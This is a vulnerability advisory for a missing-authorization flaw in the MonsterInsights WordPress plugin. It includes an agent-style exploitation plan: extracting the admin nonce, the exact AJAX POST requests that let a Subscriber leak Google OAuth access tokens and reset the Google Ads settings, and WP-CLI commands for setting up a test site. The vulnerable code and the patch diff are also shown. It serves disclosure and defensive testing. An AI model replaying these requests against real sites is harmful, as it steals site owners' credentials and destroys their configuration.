MonsterInsights <= 10.1.2 - Missing Authorization to Authenticated (Subscriber+) Sensitive Information Exposure And Plugin Integration Reset
Description
The MonsterInsights – Google Analytics Dashboard for WordPress (Website Stats Made Easy) plugin for WordPress is vulnerable to unauthorized access and modification of data due to a missing capability checks on the get_ads_access_token() and reset_experience() functions in all versions up to, and including, 10.1.2. This makes it possible for authenticated attackers, with Subscriber-level access and above, to retrieve live Google OAuth access tokens and reset Plugins's Google Ads integration.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:NTechnical Details
<=10.1.2What Changed in the Fix
Changes introduced in v10.1.3
Source Code
WordPress.org SVN# Vulnerability Analysis: MonsterInsights Missing Authorization (CVE-2026-5371) ## 1. Vulnerability Summary The MonsterInsights plugin (versions <= 10.1.2) contains a missing authorization vulnerability in its Google Ads integration handlers. The functions `get_ads_access_token()` and `reset_experi…
Show full research plan
Vulnerability Analysis: MonsterInsights Missing Authorization (CVE-2026-5371)
1. Vulnerability Summary
The MonsterInsights plugin (versions <= 10.1.2) contains a missing authorization vulnerability in its Google Ads integration handlers. The functions get_ads_access_token() and reset_experience() within the MonsterInsights_Google_Ads class are registered as AJAX actions (wp_ajax_monsterinsights_ads_get_token and wp_ajax_monsterinsights_ads_reset_experience). While these functions verify a WordPress nonce, they fail to perform any capability checks (e.g., current_user_can()). Consequently, any authenticated user, including those with Subscriber privileges, can retrieve sensitive Google OAuth access tokens or reset the plugin's Google Ads configuration.
2. Attack Vector Analysis
- Endpoints:
admin-ajax.php?action=monsterinsights_ads_get_tokenadmin-ajax.php?action=monsterinsights_ads_reset_experience
- Authentication: Authenticated (Subscriber+) required.
- Authorization: None (Missing
current_user_can). - CSRF Protection: Nonce required (Action:
mi-admin-nonce, Parameter:nonce). - Preconditions: The site must be connected to Google Analytics via MonsterInsights for a token to exist. For the reset exploit, the Google Ads integration settings must be populated.
3. Code Flow
- Action Registration: In
includes/ppc/google/class-monsterinsights-google-ads.php, the__constructmethod registers the AJAX hooks:add_action('wp_ajax_monsterinsights_ads_get_token', array($this, 'get_ads_access_token')); add_action('wp_ajax_monsterinsights_ads_reset_experience', array($this, 'reset_experience')); - Nonce Verification: Both handlers call
check_ajax_referer('mi-admin-nonce', 'nonce'). - Vulnerable Sink (Token Exposure):
get_ads_access_token()calls$this->get_access_token(), which retrieves the token from a transient (monsterinsights_google_ads_access_token_data) or the API, then returns it viawp_send_json_success. - Vulnerable Sink (Setting Reset):
reset_experience()callsself::clear_data(), which executesdelete_transient(self::TOKEN_CACHE_KEY)andmonsterinsights_delete_option(self::SETTINGS_KEY), effectively wiping the integration.
4. Nonce Acquisition Strategy
The mi-admin-nonce is localized for the monsterinsights-admin-setup-wizard script, which is enqueued on various admin pages, including the WordPress Dashboard (index.php), accessible to Subscribers.
- Target User: Any authenticated user (Subscriber).
- Target Page:
/wp-admin/index.php. - Source File:
includes/admin/admin-assets.phpwp_localize_script( 'monsterinsights-admin-setup-wizard', 'monsterinsights', array( 'ajax' => admin_url( 'admin-ajax.php' ), 'nonce' => wp_create_nonce( 'mi-admin-nonce' ), ) ); - Extraction Command:
Usebrowser_navigateto go to/wp-admin/index.php, then:browser_eval("window.monsterinsights?.nonce")
5. Exploitation Strategy
Step 1: Token Exposure
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=monsterinsights_ads_get_token&nonce=[EXTRACTED_NONCE]
Expected Response:
{
"success": true,
"data": {
"access_token": "ya29.a0AfH6S..."
}
}
Step 2: Integration Reset
Request:
POST /wp-admin/admin-ajax.php HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=monsterinsights_ads_reset_experience&nonce=[EXTRACTED_NONCE]
Expected Response:
{
"success": true,
"data": {
"message": "Google Ads experience reset successfully."
}
}
6. Test Data Setup
- Install and activate MonsterInsights Lite 10.1.2.
- Mock Authentication: Since actual Google OAuth is difficult in a PoC, manually set the options/transients that the vulnerable functions expect:
# Set fake settings wp option update monsterinsights_google_ads_settings '{"conversion_tracking_id": "AW-123456789"}' --format=json # Set fake token in transient wp transient set monsterinsights_google_ads_access_token_data '{"token":"poc-fake-access-token","expires_at":"2099-01-01 00:00:00"}' 3600 # Ensure MI is "authed" (required for get_access_token) wp option update monsterinsights_site_auth '{"analytics":{"key":"fake_key"}}' --format=json - Create a Subscriber user:
wp user create attacker attacker@example.com --role=subscriber --user_pass=password123
7. Expected Results
- Token Exposure: The AJAX response should contain the value
"poc-fake-access-token". - Reset: The AJAX response should return success, and the
monsterinsights_google_ads_settingsoption should no longer exist in the database.
8. Verification Steps
- Verify Reset via CLI:
wp option get monsterinsights_google_ads_settings # Expected: Error: Could not find the option with key 'monsterinsights_google_ads_settings'. - Verify Transient Removal:
wp transient get monsterinsights_google_ads_access_token_data # Expected: (empty/false)
9. Alternative Approaches
If window.monsterinsights.nonce is not present on index.php, navigate to any page containing a MonsterInsights notice or the onboarding wizard.
Check admin-assets.php for other scripts that might expose the nonce:
monsterinsights-admin-common-scriptlocalizesmonsterinsights_admin_common.dismiss_notice_nonce(different action:monsterinsights-dismiss-notice).- The
mi-admin-nonceis the specific one used by the vulnerable handlers inclass-monsterinsights-google-ads.php. If it's missing from the main dashboard, usewp post createto create a page containing a MonsterInsights-specific shortcode if any are available in Lite to force script enqueuing.
Summary
The MonsterInsights plugin fails to validate user capabilities in its Google Ads integration handlers. This allows authenticated users with Subscriber-level access to leak sensitive Google OAuth access tokens or reset the plugin's Google Ads integration settings via unauthorized AJAX requests.
Vulnerable Code
// includes/ppc/google/class-monsterinsights-google-ads.php:50 add_action('wp_ajax_monsterinsights_ads_get_token', array($this, 'get_ads_access_token')); add_action('wp_ajax_monsterinsights_ads_reset_experience', array($this, 'reset_experience')); --- // includes/ppc/google/class-monsterinsights-google-ads.php:166 public function reset_experience() { check_ajax_referer('mi-admin-nonce', 'nonce'); self::clear_data(); wp_send_json_success(array( 'message' => __('Google Ads experience reset successfully.', 'google-analytics-for-wordpress'), )); } --- // includes/ppc/google/class-monsterinsights-google-ads.php:240 public function get_ads_access_token() { check_ajax_referer('mi-admin-nonce', 'nonce'); $access_token_result = $this->get_access_token(); if (is_wp_error($access_token_result)) { wp_send_json_error(array( 'message' => $access_token_result->get_error_message(), 'code' => $access_token_result->get_error_code(), 'details' => $access_token_result->get_error_data(), )); } wp_send_json_success(array( 'access_token' => $access_token_result, )); }
Security Fix
@@ -167,6 +167,12 @@ public function reset_experience() { check_ajax_referer('mi-admin-nonce', 'nonce'); + if (! current_user_can('monsterinsights_save_settings')) { + wp_send_json_error(array( + 'message' => __('You do not have permission to reset the Google Ads experience.', 'google-analytics-for-wordpress'), + )); + } + self::clear_data(); wp_send_json_success(array( @@ -244,6 +250,12 @@ { check_ajax_referer('mi-admin-nonce', 'nonce'); + if (! current_user_can('monsterinsights_save_settings')) { + wp_send_json_error(array( + 'message' => __('You do not have permission to retrieve the Google Ads access token.', 'google-analytics-for-wordpress'), + )); + } + $access_token_result = $this->get_access_token(); if (is_wp_error($access_token_result)) {
Exploit Outline
An attacker with Subscriber-level authentication can exploit this vulnerability through the following steps: 1. Log in to the WordPress site as any authenticated user (e.g., Subscriber). 2. Obtain the 'mi-admin-nonce' value, which is localized and enqueued for various admin scripts (like the setup wizard or admin bar) and often visible in the source of the WordPress dashboard (`/wp-admin/index.php`). 3. Send an authenticated POST request to `/wp-admin/admin-ajax.php` with the parameter `action=monsterinsights_ads_get_token` and the captured `nonce` to retrieve the current Google OAuth access token. 4. Alternatively, send a POST request with `action=monsterinsights_ads_reset_experience` and the `nonce` to wipe the plugin's Google Ads integration settings from the database.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.